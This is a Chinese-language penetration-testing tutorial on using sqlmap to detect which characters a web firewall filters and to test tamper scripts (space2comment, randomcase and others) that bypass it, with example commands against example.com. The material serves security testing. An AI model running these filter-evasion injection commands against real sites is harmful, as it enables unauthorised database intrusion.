【SQLI】sqlmap测试过滤规则和tamper有效性的方法
sqlmap测试过滤和tamper有效性的方法
- 1. 检测被过滤的字符或关键字
- 2. 测试有效的 Tamper 脚本
- 3. 自动化过滤检测
- 4. 自定义 Tamper 脚本
- 示例命令总结
- 注意事项
使用 sqlmap 测试过滤规则和确定有效 tamper 脚本的步骤如下:
1. 检测被过滤的字符或关键字
方法一:使用 --level
和 --risk
--level
:控制测试的复杂度(1-5),级别越高,测试的 payload 和参数范围越广。--risk
:控制风险等级(1-3),风险越高,测试的侵入性越强。
通过观察 sqlmap 的报错或响应,判断哪些字符或关键字被过滤(如单引号、sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3
UNION
、SELECT
等)。
方法二:手动测试关键字符
- 在目标参数中手动添加常见敏感字符(如
'
、"
、#
、--
、//
、UNION
等),观察响应是否有过滤提示(如 403 或 WAF 拦截页面):
使用sqlmap -u "http://example.com/page?id=1'" -v 3
-v 3
显示 HTTP 请求payload详情,查看是否被过滤。
方法三:分析服务器错误
- 使用
--parse-errors
解析服务器返回的错误信息,判断过滤规则:sqlmap -u "http://example.com/page?id=1" --parse-errors
2. 测试有效的 Tamper 脚本
步骤 1:列出所有 Tamper 脚本
sqlmap --list-tampers
步骤 2:常用 Tamper 组合
- 根据过滤规则选择 Tamper(如空格过滤、关键字过滤等):
常见场景:sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,randomcase,unmagicquotes
- 过滤空格:
space2comment
(用/**/
代替空格) - 过滤关键字:
randomcase
(随机大小写)、equaltolike
(=
转LIKE
) - 过滤引号:
charencode
(URL 编码)、unmagicquotes
(绕过magic_quotes
)
- 过滤空格:
步骤 3:调试 Tamper 有效性
- 使用
--proxy
配合 Burp Suite 查看请求详情:
通过 Burp Suite 观察 Tamper 修改后的请求是否被拦截。sqlmap -u "http://example.com/page?id=1" --tamper=space2comment --proxy=http://127.0.0.1:8080
步骤 4:多 Tamper 组合测试
sqlmap -u "http://example.com/page?id=1" --tamper=between,randomcase,space2comment
3. 自动化过滤检测
使用 --test-filter
- 仅测试特定 payload 类型(如
boolean_blind
):sqlmap -u "http://example.com/page?id=1" --test-filter=boolean_blind
使用 --alert
- 当注入成功时触发外部命令(如记录有效 Tamper):
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment --alert="echo Success >> log.txt"
4. 自定义 Tamper 脚本
如果内置 Tamper 无效,可编写自定义脚本(Python):
- 参考
tamper/
目录下的模板。 - 保存为
custom_tamper.py
。 - 使用
--tamper=custom_tamper
调用。
示例命令总结
# 检测过滤字符
sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3 -v 3
# 测试 Tamper 绕过
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment,randomcase --proxy=http://127.0.0.1:8080
注意事项
- 合法授权:确保测试目标在授权范围内。
- 日志分析:通过
-t sqlmap.log
记录日志,方便后续分析。